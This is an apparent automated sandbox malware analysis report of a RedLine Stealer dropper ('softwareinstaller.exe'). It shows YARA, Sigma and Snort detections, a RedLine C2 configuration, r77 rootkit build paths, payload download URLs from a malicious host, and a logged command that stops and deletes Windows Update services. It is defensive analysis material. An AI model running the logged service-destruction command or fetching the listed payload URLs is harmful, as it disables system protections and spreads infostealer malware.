00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15f31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16235:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16541:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1683d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16b39:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16e29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17135:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17425:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17705:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17a11:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
26.2.ofg.exe.f70000.1.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
21.2.ofg.exe.f70000.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
0.3.softwareinstaller.exe.d70000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.softwareinstaller.exe.d70000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x210dc:$pat14: , CommandLine: 0x18d57:$v2_1: ListOfProcesses 0x18aeb:$v4_3: base64str 0x19b7d:$v4_4: stringKey 0x16708:$v4_5: BytesToStringConverted 0x15770:$v4_6: FromBase64 0x16edc:$v4_8: procName 0x1725f:$v5_1: DownloadAndExecuteUpdate 0x189fb:$v5_2: ITaskProcessor 0x1724d:$v5_3: CommandLineUpdate 0x1723e:$v5_4: DownloadUpdate 0x178ef:$v5_5: FileScanning 0x16a77:$v5_7: RecordHeaderField 0x16496:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
54.2.conhost.exe.1240000.1.unpack	JoeSecurity_LaplasClipper	Yara detected Laplas Clipper	Joe Security
Click to see the 8 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Google\brave.exe" , ParentImage: C:\Users\user\AppData\Local\Google\brave.exe, ParentProcessId: 2360, ParentProcessName: brave.exe, ProcessCommandLine: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f, ProcessId: 5032, ProcessName: cmd.exe

Snort Signatures

ET TROJAN Win32/Agent.AETZ CnC Checkin - Source IP: 192.168.2.3 - Destination IP: 172.66.43.60

Timestamp:	192.168.2.3172.66.43.60497064432039616 12/05/22-06:45:13.017981
SID:	2039616
Source Port:	49706
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 45.15.156.155 - Destination IP: 192.168.2.3

Timestamp:	45.15.156.155192.168.2.380496942850353 12/05/22-06:44:13.797905
SID:	2850353
Source Port:	80
Destination Port:	49694
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 45.15.156.155

Timestamp:	192.168.2.345.15.156.15549694802850286 12/05/22-06:44:29.193063
SID:	2850286
Source Port:	49694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 45.15.156.155

Timestamp:	192.168.2.345.15.156.15549694802850027 12/05/22-06:44:11.021338
SID:	2850027
Source Port:	49694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.idpminic.org/aula/ofg7d45fsdfgg312.sfhg	Avira URL Cloud: Label: malware
Source: http://104.193.254.97/svchost.exe	Avira URL Cloud: Label: malware
Source: http://104.193.254.97/conhost.exe	Avira URL Cloud: Label: malware
Source: http://104.193.254.97	Avira URL Cloud: Label: malware
Source: http://www.idpminic.org/aula/f429fjd4uf84u.sdfh	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Avira: detection malicious, Label: HEUR/AGEN.1213193
Source: C:\Users\user\AppData\Local\Temp\svchost.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen3
Source: C:\Users\user\AppData\Local\Temp\66BC.tmp	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Multi AV Scanner detection for submitted file

Source: softwareinstaller.exe

Virustotal: Detection: 40%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\brave.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Google\chrome.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Google\ofg.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\Temp\66BC.tmp	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Temp\svchost.exe	ReversingLabs: Detection: 73%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Joe Sandbox ML: detected

Source: 48.2.GoogleUpdate.exe.1100000.0.unpack

Avira: Label: TR/TDSS.Gen2

Source: 0.3.softwareinstaller.exe.d70000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["45.15.156.155:80"], "Bot Id": "@werige", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "9e3d2f5fada14c3f82414f2388ff0d27"}

Source: softwareinstaller.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50016 version: TLS 1.2

Source: softwareinstaller.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000030.00000000.341530735.0000000001101000.00000020.00000001.01000000.0000000E.sdmp, GoogleUpdate.exe.24.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: vbc.exe, 00000002.00000002.421811030.0000000004AF0000.00000040.00000010.00020000.00000000.sdmp, ofg.exe, 00000015.00000002.520221826.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 00000015.00000002.516810650.00000000007D0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000001A.00000002.519216096.0000000000EE0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000001A.00000002.522035673.0000000000F90000.00000040.00001000.00020000.00000000.sdmp, conhost.exe, 00000036.00000002.536558273.0000000001210000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 0000000D.00000002.407034650.000001A8843D2000.00000004.00000020.00020000.00000000.sdmp, 66BC.tmp.13.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 0A02FDF3h	2_2_0A02FB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	2_2_0A02C430
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	13_2_00007FF755EB2530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov rax, qword ptr [rcx]	13_2_00007FF755EA5530
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EA8100
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	13_2_00007FF755EAC000
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB22E0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	13_2_00007FF755EA81D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then sub rsp, 38h	13_2_00007FF755EAF1C0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	13_2_00007FF755EB2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB23A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	13_2_00007FF755EB23A0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2039616 ET TROJAN Win32/Agent.AETZ CnC Checkin 192.168.2.3:49706 -> 172.66.43.60:443
Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49694 -> 45.15.156.155:80
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49694 -> 45.15.156.155:80
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 45.15.156.155:80 -> 192.168.2.3:49694

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.15.156.155:80

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /aula/hiuhehufw.hfe HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/dmi1dfg7n.kjylug HTTP/1.1Host: www.idpminic.org
Source: global traffic	HTTP traffic detected: GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/f429fjd4uf84u.sdfh HTTP/1.1Host: www.idpminic.org
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Host: 104.193.254.97Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /svchost.exe HTTP/1.1Host: 104.193.254.97Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Dec 2022 05:44:42 GMTContent-Type: application/octet-streamContent-Length: 5656064Last-Modified: Sun, 27 Nov 2022 15:36:08 GMTConnection: keep-aliveETag: "638383e8-564e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 b0 24 00 00 12 07 00 00 00 00 00 b1 6a 84 00 00 10 00 00 00 c0 44 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 bd 00 00 04 00 00 b2 99 56 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 85 ad 00 3c 00 00 00 00 d0 b9 00 0c c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 b9 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 66 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 af 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 fc 1f 00 00 c0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 45 06 00 00 c0 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 dc 03 00 00 00 10 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 2d 2e 21 30 d6 74 01 00 00 20 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 73 79 6d 74 61 62 00 04 00 00 00 00 a0 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 2e 76 6d 70 2d 2e 21 31 c5 66 19 00 00 b0 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 76 6d 70 2d 2e 21 32 44 02 00 00 00 20 66 00 00 04 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 2d 2e 21 33 b0 84 53 00 00 30 66 00 00 86 53 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 ac 05 00 00 00 c0 b9 00 00 06 00 00 00 8e 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 0c c2 03 00 00 d0 b9 00 00 ba 02 00 00 94 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Dec 2022 05:45:13 GMTContent-Type: application/octet-streamContent-Length: 81920Last-Modified: Fri, 02 Dec 2022 16:47:52 GMTConnection: keep-aliveETag: "638a2c38-14000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d1 ad 12 45 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 c6 00 00 00 9c 00 00 00 00 00 00 20 34 00 00 00 10 00 00 00 e0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 01 00 00 04 00 00 00 00 00 00 02 00 00 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 13 01 00 a0 00 00 00 00 70 01 00 a8 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 01 00 10 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c4 00 00 00 10 00 00 00 c6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 cc 44 00 00 00 e0 00 00 00 46 00 00 00 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 37 00 00 00 30 01 00 00 12 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 0d 00 00 00 70 01 00 00 0e 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0f 00 00 00 80 01 00 00 10 00 00 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU

Source: Joe Sandbox View

IP Address: 172.66.43.60 172.66.43.60

Source: vbc.exe, 00000002.00000002.443772871.00000000069D6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.462592977.0000000006CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.193.254.97
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.193.254.97/conhost.exe
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.193.254.97/svchost.exe
Source: vbc.exe, 00000002.00000002.441080646.000000000696E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.443772871.00000000069D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.193.254.974
